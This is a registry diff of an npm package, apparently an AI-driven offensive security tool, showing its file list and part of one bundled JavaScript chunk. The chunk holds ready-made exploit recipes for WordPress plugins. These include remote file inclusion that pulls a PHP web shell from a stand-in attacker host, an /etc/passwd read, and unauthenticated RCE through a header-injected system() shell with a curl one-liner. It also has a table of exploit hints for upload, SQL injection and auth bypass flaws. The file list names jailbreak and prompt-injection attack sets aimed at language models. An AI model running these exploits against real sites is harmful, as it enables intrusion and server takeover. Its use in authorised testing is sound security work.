0sec-cli 0.15.0 → 0.17.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +322 -0
- package/README.md +63 -52
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-ECQG7454.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-GJEZMOHF.js +34 -0
- package/chunks/assumption-mining-BVMMUZHB.js +79 -0
- package/chunks/chunk-2CJ776PV.js +2430 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-2SANI5RH.js +4728 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-3QFDYBZQ.js +5108 -0
- package/chunks/chunk-47TQJWDH.js +3729 -0
- package/chunks/chunk-4Y4KQJXE.js +600 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-A6CLR72I.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-CLHCDHP4.js +471 -0
- package/chunks/chunk-D6S3IIPG.js +518 -0
- package/chunks/chunk-DN25OQQA.js +1070 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-H44E2CRN.js +193 -0
- package/chunks/chunk-HDWV7PGI.js +596 -0
- package/chunks/chunk-HE7LCA7G.js +381 -0
- package/chunks/chunk-HT6P7RY3.js +2597 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IORC6MQX.js +72828 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-K26SZ37E.js +5735 -0
- package/chunks/chunk-KKGE5RQE.js +1094 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-KTQDLNSR.js +1732 -0
- package/chunks/chunk-LOHTE223.js +2572 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MMLDQR4H.js +852 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-O462Y7P2.js +33019 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-QJQKHO7G.js +917 -0
- package/chunks/chunk-QKICO43A.js +808 -0
- package/chunks/chunk-QOKTUOU2.js +102 -0
- package/chunks/chunk-RDZYQQLW.js +596 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SNKTC4BP.js +1422 -0
- package/chunks/chunk-SOG2U7B3.js +662 -0
- package/chunks/chunk-SZJCPG2I.js +110 -0
- package/chunks/chunk-UJ4IK5PO.js +2010 -0
- package/chunks/chunk-UM3ZNQIM.js +9329 -0
- package/chunks/chunk-VGRDNSHA.js +3249 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WKNNZVJS.js +2798 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/commands-U3AMV5ZU.js +16795 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-ZCKMBJEN.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-26NGQFKO.js +16 -0
- package/chunks/disclose-A6AEIEDA.js +132 -0
- package/chunks/dist-FDKALV4R.js +2772 -0
- package/chunks/dist-GL66KMUX.js +74 -0
- package/chunks/dist-JR67XKYO.js +159 -0
- package/chunks/eval-runner-DDLE5RQ3.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-XP23ISN7.js +98 -0
- package/chunks/exploit-autoclimb-E6T7RRSC.js +81 -0
- package/chunks/exploit-climb-2FAUP6XU.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-HWOYFKFY.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-XPELSPQQ.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-TENE3R7T.js +44 -0
- package/chunks/kernel-vm-runner-4F6QSNFY.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-NTONUDP7.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-ZUWAUWBC.js +62 -0
- package/chunks/pipeline-FCARFZU3.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-3Q7QJIOZ.js +13 -0
- package/chunks/replay-runner-RRR4E2A7.js +39 -0
- package/chunks/run-ESNN4V5W.js +32632 -0
- package/chunks/runtime-62ZQAH7H.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-BCFQYDCE.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-6KM6F6MD.js +13 -0
- package/chunks/web-recon-prepass-DPVCBRZA.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,953 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
|
|
5
|
+
// packages/core/dist/agent/cve-exploit-codex.js
|
|
6
|
+
var CVE_EXPLOIT_CODEX = {
|
|
7
|
+
"CVE-2023-3452": {
|
|
8
|
+
cveId: "CVE-2023-3452",
|
|
9
|
+
pluginSlug: "canto",
|
|
10
|
+
affectedVersionRange: "\u2264 3.0.4",
|
|
11
|
+
vulnClass: "Remote File Inclusion",
|
|
12
|
+
shortSummary: "The Canto plugin's get.php passes the wp_abspath query parameter straight into an include() call without sanitization, allowing unauthenticated RFI.",
|
|
13
|
+
exploit: {
|
|
14
|
+
primary: [
|
|
15
|
+
"# Primary: unauthenticated RFI via wp_abspath",
|
|
16
|
+
"GET /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=http://attacker.example.com/payload HTTP/1.1",
|
|
17
|
+
"Host: <target>",
|
|
18
|
+
"",
|
|
19
|
+
"# Where http://attacker.example.com/payload is a controlled HTTP server",
|
|
20
|
+
"# hosting a PHP file (e.g. <?php system($_GET['cmd']); ?>). The wp_abspath",
|
|
21
|
+
"# value is concatenated into an include() call, so PHP fetches and executes it.",
|
|
22
|
+
"# Then trigger your payload with a benign proof command such as ?cmd=id on the same URL."
|
|
23
|
+
].join("\n"),
|
|
24
|
+
fallback: [
|
|
25
|
+
"# Fallback: LFI via php:// filter when no attacker-controlled host is reachable",
|
|
26
|
+
"GET /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=php://filter/convert.base64-encode/resource=/etc/passwd HTTP/1.1",
|
|
27
|
+
"Host: <target>",
|
|
28
|
+
"",
|
|
29
|
+
"# The base64-encoded file contents come back in the response body.",
|
|
30
|
+
"# Useful for reading wp-config.php or other safe proof files without an outbound HTTP listener."
|
|
31
|
+
].join("\n")
|
|
32
|
+
},
|
|
33
|
+
prerequisites: [
|
|
34
|
+
"allow_url_include=On in php.ini (load-bearing \u2014 the Dockerfile pins this for a reason)",
|
|
35
|
+
"allow_url_fopen=On (usually default)",
|
|
36
|
+
"PHP must be able to reach the attacker-controlled host (check egress / pinned subnet, e.g. 172.133.0.0/16)"
|
|
37
|
+
],
|
|
38
|
+
hostingNote: "The primary recipe requires an attacker-controlled HTTP server reachable from the target. If egress is restricted to a specific subnet (the XBEN-034 Dockerfile pins 172.133.0.0/16), bind your listener inside that subnet. Use the LFI fallback if no outbound reach is possible.",
|
|
39
|
+
sourceUrl: "https://nvd.nist.gov/vuln/detail/CVE-2023-3452"
|
|
40
|
+
},
|
|
41
|
+
"CVE-2023-6553": {
|
|
42
|
+
cveId: "CVE-2023-6553",
|
|
43
|
+
pluginSlug: "backup-backup",
|
|
44
|
+
affectedVersionRange: "\u2264 1.3.7",
|
|
45
|
+
vulnClass: "Unauthenticated Remote Code Execution",
|
|
46
|
+
shortSummary: 'The Backup Migration plugin (BackupBliss "backup-backup") writes the user-controlled "content-dir" HTTP header into a PHP file that gets included on the same request, yielding unauth RCE.',
|
|
47
|
+
exploit: {
|
|
48
|
+
primary: [
|
|
49
|
+
"# Step 1: poison the include via the content-dir header",
|
|
50
|
+
"GET /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1",
|
|
51
|
+
"Host: <target>",
|
|
52
|
+
"content-dir: <?php system($_GET['cmd']); ?>",
|
|
53
|
+
"",
|
|
54
|
+
"# Step 2: trigger code execution with the cmd query parameter",
|
|
55
|
+
"GET /wp-content/plugins/backup-backup/includes/backup-heart.php?cmd=id HTTP/1.1",
|
|
56
|
+
"Host: <target>",
|
|
57
|
+
"",
|
|
58
|
+
"# Both requests hit the same endpoint. The first plants the PHP payload via",
|
|
59
|
+
"# the content-dir header (which the plugin embeds in an included file), the",
|
|
60
|
+
"# second runs it. No authentication required."
|
|
61
|
+
].join("\n"),
|
|
62
|
+
fallback: [
|
|
63
|
+
"# Single-shot variant \u2014 some installs evaluate the header on the same request:",
|
|
64
|
+
"curl -s 'http://<target>/wp-content/plugins/backup-backup/includes/backup-heart.php?cmd=id' \\",
|
|
65
|
+
` -H 'content-dir: <?php system($_GET["cmd"]); ?>'`
|
|
66
|
+
].join("\n")
|
|
67
|
+
},
|
|
68
|
+
prerequisites: [
|
|
69
|
+
"Plugin activated (the file is reachable even when unauthenticated)",
|
|
70
|
+
"PHP system()/exec() not disabled in php.ini (disable_functions)"
|
|
71
|
+
],
|
|
72
|
+
sourceUrl: "https://nvd.nist.gov/vuln/detail/CVE-2023-6553"
|
|
73
|
+
}
|
|
74
|
+
};
|
|
75
|
+
function getCveExploit(cveId) {
|
|
76
|
+
return CVE_EXPLOIT_CODEX[cveId] ?? null;
|
|
77
|
+
}
|
|
78
|
+
function formatExploitRecipe(recipe) {
|
|
79
|
+
const lines = [];
|
|
80
|
+
lines.push(`[${recipe.cveId}] ${recipe.pluginSlug} ${recipe.affectedVersionRange} \u2014 ${recipe.vulnClass}`);
|
|
81
|
+
if (recipe.ghsaId) {
|
|
82
|
+
lines.push(`GHSA: ${recipe.ghsaId}`);
|
|
83
|
+
}
|
|
84
|
+
lines.push(recipe.shortSummary);
|
|
85
|
+
lines.push("");
|
|
86
|
+
lines.push("## Exploit (primary)");
|
|
87
|
+
lines.push(recipe.exploit.primary);
|
|
88
|
+
if (recipe.exploit.fallback) {
|
|
89
|
+
lines.push("");
|
|
90
|
+
lines.push("## Exploit (fallback)");
|
|
91
|
+
lines.push(recipe.exploit.fallback);
|
|
92
|
+
}
|
|
93
|
+
if (recipe.prerequisites && recipe.prerequisites.length > 0) {
|
|
94
|
+
lines.push("");
|
|
95
|
+
lines.push("## Prerequisites");
|
|
96
|
+
for (const pre of recipe.prerequisites) {
|
|
97
|
+
lines.push(`- ${pre}`);
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
if (recipe.hostingNote) {
|
|
101
|
+
lines.push("");
|
|
102
|
+
lines.push(`Note: ${recipe.hostingNote}`);
|
|
103
|
+
}
|
|
104
|
+
lines.push("");
|
|
105
|
+
lines.push(`Source: ${recipe.sourceUrl}`);
|
|
106
|
+
return lines.join("\n");
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// packages/core/dist/agent/wp-vuln-db.js
|
|
110
|
+
var WP_VULNERABILITY_DB = [
|
|
111
|
+
{
|
|
112
|
+
cveId: "CVE-2023-6553",
|
|
113
|
+
pluginSlug: "backup-backup",
|
|
114
|
+
pluginName: "Backup Migration / BackupBliss",
|
|
115
|
+
affectedRange: "<= 1.3.7",
|
|
116
|
+
fixedIn: "1.3.8",
|
|
117
|
+
severity: "critical",
|
|
118
|
+
summary: "Unauthenticated remote code execution through the backup-heart.php content-dir include path.",
|
|
119
|
+
exploitHints: [
|
|
120
|
+
"Probe /wp-content/plugins/backup-backup/includes/backup-heart.php with a content-dir PHP header, then trigger the same endpoint with cmd=."
|
|
121
|
+
],
|
|
122
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-6553"],
|
|
123
|
+
affected: { lte: "1.3.7" }
|
|
124
|
+
},
|
|
125
|
+
{
|
|
126
|
+
cveId: "CVE-2023-3452",
|
|
127
|
+
pluginSlug: "canto",
|
|
128
|
+
pluginName: "Canto",
|
|
129
|
+
affectedRange: "<= 3.0.4",
|
|
130
|
+
fixedIn: "3.0.5",
|
|
131
|
+
severity: "critical",
|
|
132
|
+
summary: "Unauthenticated file inclusion through wp_abspath in includes/lib/get.php.",
|
|
133
|
+
exploitHints: [
|
|
134
|
+
"Try /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=http://<attacker>/payload for RFI, or php://filter for LFI-style reads."
|
|
135
|
+
],
|
|
136
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-3452"],
|
|
137
|
+
affected: { lte: "3.0.4" }
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
cveId: "CVE-2020-25213",
|
|
141
|
+
pluginSlug: "wp-file-manager",
|
|
142
|
+
pluginName: "WP File Manager",
|
|
143
|
+
affectedRange: "<= 6.8",
|
|
144
|
+
fixedIn: "6.9",
|
|
145
|
+
severity: "critical",
|
|
146
|
+
summary: "Unauthenticated arbitrary file upload through the exposed elFinder connector.",
|
|
147
|
+
exploitHints: [
|
|
148
|
+
"POST a PHP payload to /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php using elFinder upload parameters, then request it from wp-content/plugins/wp-file-manager/lib/files/."
|
|
149
|
+
],
|
|
150
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2020-25213"],
|
|
151
|
+
affected: { lte: "6.8" }
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
cveId: "CVE-2020-24186",
|
|
155
|
+
pluginSlug: "wpdiscuz",
|
|
156
|
+
pluginName: "wpDiscuz",
|
|
157
|
+
affectedRange: "<= 7.0.4",
|
|
158
|
+
fixedIn: "7.0.5",
|
|
159
|
+
severity: "critical",
|
|
160
|
+
summary: "Unauthenticated arbitrary file upload through comment attachment handling.",
|
|
161
|
+
exploitHints: [
|
|
162
|
+
"Look for wpDiscuz comment forms and test the upload endpoint for extension/MIME bypasses that place files under wp-content/uploads/wpdiscuz/."
|
|
163
|
+
],
|
|
164
|
+
references: ["https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61/"],
|
|
165
|
+
affected: { lte: "7.0.4" }
|
|
166
|
+
},
|
|
167
|
+
{
|
|
168
|
+
cveId: "CVE-2023-32243",
|
|
169
|
+
pluginSlug: "essential-addons-for-elementor-lite",
|
|
170
|
+
pluginName: "Essential Addons for Elementor",
|
|
171
|
+
affectedRange: "5.4.0 - 5.7.1",
|
|
172
|
+
fixedIn: "5.7.2",
|
|
173
|
+
severity: "critical",
|
|
174
|
+
summary: "Unauthenticated privilege escalation through password reset key abuse.",
|
|
175
|
+
exploitHints: [
|
|
176
|
+
"Check plugin AJAX actions for the password reset flow; vulnerable installs allow unauthenticated reset of arbitrary users including admin."
|
|
177
|
+
],
|
|
178
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-32243"],
|
|
179
|
+
affected: { gte: "5.4.0", lte: "5.7.1" }
|
|
180
|
+
},
|
|
181
|
+
{
|
|
182
|
+
cveId: "CVE-2023-28121",
|
|
183
|
+
pluginSlug: "woocommerce-payments",
|
|
184
|
+
pluginName: "WooCommerce Payments",
|
|
185
|
+
affectedRange: "<= 5.6.1",
|
|
186
|
+
fixedIn: "5.6.2",
|
|
187
|
+
severity: "critical",
|
|
188
|
+
summary: "Authentication bypass and privilege escalation in WooCommerce Payments.",
|
|
189
|
+
exploitHints: [
|
|
190
|
+
"If woocommerce-payments is active and old, check for unauthenticated header/REST routes that impersonate privileged users."
|
|
191
|
+
],
|
|
192
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-28121"],
|
|
193
|
+
affected: { lte: "5.6.1" }
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
cveId: "CVE-2024-27956",
|
|
197
|
+
pluginSlug: "wp-automatic",
|
|
198
|
+
pluginName: "WP Automatic",
|
|
199
|
+
affectedRange: "< 3.92.1",
|
|
200
|
+
fixedIn: "3.92.1",
|
|
201
|
+
severity: "critical",
|
|
202
|
+
summary: "Unauthenticated SQL injection in WP Automatic.",
|
|
203
|
+
exploitHints: [
|
|
204
|
+
"Probe WP Automatic public endpoints for SQLi and credential extraction; successful exploitation often leads to admin account creation."
|
|
205
|
+
],
|
|
206
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2024-27956"],
|
|
207
|
+
affected: { lt: "3.92.1" }
|
|
208
|
+
},
|
|
209
|
+
{
|
|
210
|
+
cveId: "CVE-2024-1071",
|
|
211
|
+
pluginSlug: "ultimate-member",
|
|
212
|
+
pluginName: "Ultimate Member",
|
|
213
|
+
affectedRange: "2.1.3 - 2.8.2",
|
|
214
|
+
fixedIn: "2.8.3",
|
|
215
|
+
severity: "high",
|
|
216
|
+
summary: "SQL injection through the sorting parameter in vulnerable Ultimate Member releases.",
|
|
217
|
+
exploitHints: [
|
|
218
|
+
"Enumerate Ultimate Member member directory/profile endpoints and test the sorting parameter for SQL injection."
|
|
219
|
+
],
|
|
220
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2024-1071"],
|
|
221
|
+
affected: { gte: "2.1.3", lte: "2.8.2" }
|
|
222
|
+
},
|
|
223
|
+
{
|
|
224
|
+
cveId: "CVE-2023-4596",
|
|
225
|
+
pluginSlug: "forminator",
|
|
226
|
+
pluginName: "Forminator",
|
|
227
|
+
affectedRange: "<= 1.24.6",
|
|
228
|
+
fixedIn: "1.24.7",
|
|
229
|
+
severity: "high",
|
|
230
|
+
summary: "Unauthenticated arbitrary file upload in Forminator form handling.",
|
|
231
|
+
exploitHints: [
|
|
232
|
+
"Find public Forminator forms and test upload fields for extension validation bypass into wp-content/uploads/forminator/."
|
|
233
|
+
],
|
|
234
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-4596"],
|
|
235
|
+
affected: { lte: "1.24.6" }
|
|
236
|
+
},
|
|
237
|
+
{
|
|
238
|
+
cveId: "CVE-2020-35489",
|
|
239
|
+
pluginSlug: "contact-form-7",
|
|
240
|
+
pluginName: "Contact Form 7",
|
|
241
|
+
affectedRange: "< 5.3.2",
|
|
242
|
+
fixedIn: "5.3.2",
|
|
243
|
+
severity: "high",
|
|
244
|
+
summary: "Unrestricted file upload in Contact Form 7 before 5.3.2.",
|
|
245
|
+
exploitHints: [
|
|
246
|
+
"Locate Contact Form 7 upload forms and try double-extension/polyglot upload bypasses against the form submit endpoint."
|
|
247
|
+
],
|
|
248
|
+
references: ["https://nvd.nist.gov/vuln/detail/CVE-2020-35489"],
|
|
249
|
+
affected: { lt: "5.3.2" }
|
|
250
|
+
}
|
|
251
|
+
];
|
|
252
|
+
var WP_VULNERABLE_PLUGIN_SLUGS = [
|
|
253
|
+
...new Set(WP_VULNERABILITY_DB.map((entry) => entry.pluginSlug))
|
|
254
|
+
];
|
|
255
|
+
function findWpVulnerabilities(pluginSlug, version) {
|
|
256
|
+
return WP_VULNERABILITY_DB.filter((entry) => entry.pluginSlug === pluginSlug).filter((entry) => version === void 0 || isAffectedVersion(version, entry)).map((entry) => ({ ...entry, matchedVersion: version }));
|
|
257
|
+
}
|
|
258
|
+
function isAffectedVersion(version, vuln) {
|
|
259
|
+
const normalized = normalizeVersion(version);
|
|
260
|
+
if (!normalized)
|
|
261
|
+
return false;
|
|
262
|
+
if (vuln.affected.gte && compareVersions(normalized, vuln.affected.gte) < 0)
|
|
263
|
+
return false;
|
|
264
|
+
if (vuln.affected.lt && compareVersions(normalized, vuln.affected.lt) >= 0)
|
|
265
|
+
return false;
|
|
266
|
+
if (vuln.affected.lte && compareVersions(normalized, vuln.affected.lte) > 0)
|
|
267
|
+
return false;
|
|
268
|
+
return true;
|
|
269
|
+
}
|
|
270
|
+
function compareVersions(a, b) {
|
|
271
|
+
const pa = parseVersionParts(a);
|
|
272
|
+
const pb = parseVersionParts(b);
|
|
273
|
+
const len = Math.max(pa.length, pb.length);
|
|
274
|
+
for (let i = 0; i < len; i++) {
|
|
275
|
+
const av = pa[i] ?? 0;
|
|
276
|
+
const bv = pb[i] ?? 0;
|
|
277
|
+
if (av < bv)
|
|
278
|
+
return -1;
|
|
279
|
+
if (av > bv)
|
|
280
|
+
return 1;
|
|
281
|
+
}
|
|
282
|
+
return 0;
|
|
283
|
+
}
|
|
284
|
+
function normalizeVersion(version) {
|
|
285
|
+
const match = version.trim().match(/\d+(?:[._-]\d+)*/);
|
|
286
|
+
return match?.[0]?.replace(/[_-]/g, ".");
|
|
287
|
+
}
|
|
288
|
+
function parseVersionParts(version) {
|
|
289
|
+
return version.split(".").map((part) => Number.parseInt(part, 10)).map((part) => Number.isFinite(part) ? part : 0);
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
// packages/core/dist/agent/wp-fingerprint.js
|
|
293
|
+
async function runWpFingerprint(opts) {
|
|
294
|
+
const base = normalizeBase(opts.target);
|
|
295
|
+
const fetchImpl = opts.fetchImpl ?? globalThis.fetch;
|
|
296
|
+
const advisoryFetchImpl = opts.advisoryFetchImpl ?? fetchImpl;
|
|
297
|
+
const timeoutMs = opts.timeoutMs ?? 1e4;
|
|
298
|
+
const maxProbes = opts.maxPluginProbes ?? 40;
|
|
299
|
+
const maxVulnerableProbes = opts.maxVulnerablePluginProbes ?? 40;
|
|
300
|
+
const wpScanApiToken = opts.wpScanApiToken?.trim();
|
|
301
|
+
const result = {
|
|
302
|
+
isWordPress: false,
|
|
303
|
+
evidence: [],
|
|
304
|
+
plugins: [],
|
|
305
|
+
themes: [],
|
|
306
|
+
findings: []
|
|
307
|
+
